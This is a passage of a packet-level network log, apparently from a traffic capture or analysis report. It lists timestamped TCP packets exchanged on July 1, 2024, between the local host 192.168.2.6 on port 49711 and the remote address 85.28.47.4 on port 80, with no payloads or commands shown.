Jul 1, 2024 07:20:42.384453058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384459972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384504080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384507895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384552956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384560108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384593964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384604931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384629011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384634972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384663105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384673119 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384697914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384706974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384736061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.384741068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.384778023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399419069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399471998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399498940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399507046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399529934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399542093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399544954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399576902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399585009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399621010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399633884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399677992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399686098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399720907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399730921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399763107 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399775982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399810076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399821043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399842978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399852037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399877071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399879932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399920940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.399930000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399966002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.399976015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400001049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400011063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400034904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400046110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400070906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400075912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400105953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400116920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400149107 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400157928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400192022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400207043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400224924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400237083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400258064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400266886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400293112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400311947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400327921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400338888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400362968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400367975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400398970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400408983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400435925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.400441885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.400475979 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.464519024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464546919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464562893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464576960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464592934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464607954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464612961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.464623928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464679956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464694023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464777946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464792967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464801073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.464801073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.464801073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.464801073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.464807987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464816093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.464828014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464834929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.464852095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.464865923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.464873075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.464910030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.474848986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.474908113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.474909067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.474960089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.474992037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475023985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475056887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475084066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475084066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475084066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475084066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475096941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475097895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475131035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475143909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475164890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475182056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475200891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475208044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475235939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475244045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475270033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475289106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475302935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475311995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475347996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475414038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475447893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475466013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475481987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475492001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475514889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475529909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475552082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475559950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475585938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475596905 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475620985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475635052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475655079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475665092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475702047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475691080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475744963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475754976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475791931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475791931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475826979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475838900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475860119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475874901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475893974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475894928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475929022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475943089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.475963116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.475972891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476000071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476011038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476047039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476087093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476125002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476139069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476159096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476166010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476191998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476203918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476227045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476236105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476262093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476274014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476295948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476309061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476329088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476342916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476363897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476377010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476397991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476408958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476432085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476445913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476464987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476485968 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476507902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476530075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476563931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476581097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476597071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476605892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476632118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476639986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476665020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476686001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476696968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476699114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476739883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476749897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476783037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476797104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476816893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476830006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476850033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476865053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476882935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476895094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476917028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476929903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476949930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476965904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.476984024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.476989985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477019072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477024078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477065086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477109909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477143049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477154970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477176905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477190971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477210045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477222919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477243900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477252960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477279902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477292061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477313995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477327108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477348089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477360964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477381945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477396965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477416992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477423906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477453947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.477463961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.477500916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492381096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492414951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492450953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492495060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492513895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492589951 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492640972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492675066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492695093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492717981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492726088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492758989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492779016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492791891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492824078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492825031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492849112 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492857933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492868900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492892027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492902040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492927074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.492933035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492973089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.492978096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493022919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493030071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493063927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493074894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493099928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493104935 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493133068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493148088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493171930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493181944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493215084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493237972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493247986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493251085 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493284941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493294001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493319035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493330002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493367910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493369102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493402958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493422031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493438005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493446112 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493469954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493477106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493503094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493510962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493537903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493549109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493572950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.493581057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.493619919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557369947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557425022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557472944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557481050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557499886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557522058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557523966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557566881 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557589054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557631969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557638884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557672977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557693958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557703972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557713985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557739973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557748079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557774067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557782888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557807922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557816029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557840109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557852030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557876110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557889938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557909012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557926893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557944059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557961941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.557980061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.557987928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.558031082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.567662954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.567692995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.567725897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.567728996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.567739010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.567761898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.567764997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.567804098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.567815065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.567847967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.567859888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.567882061 CEST	80	49711	85.28.47.4	192.168.2.6
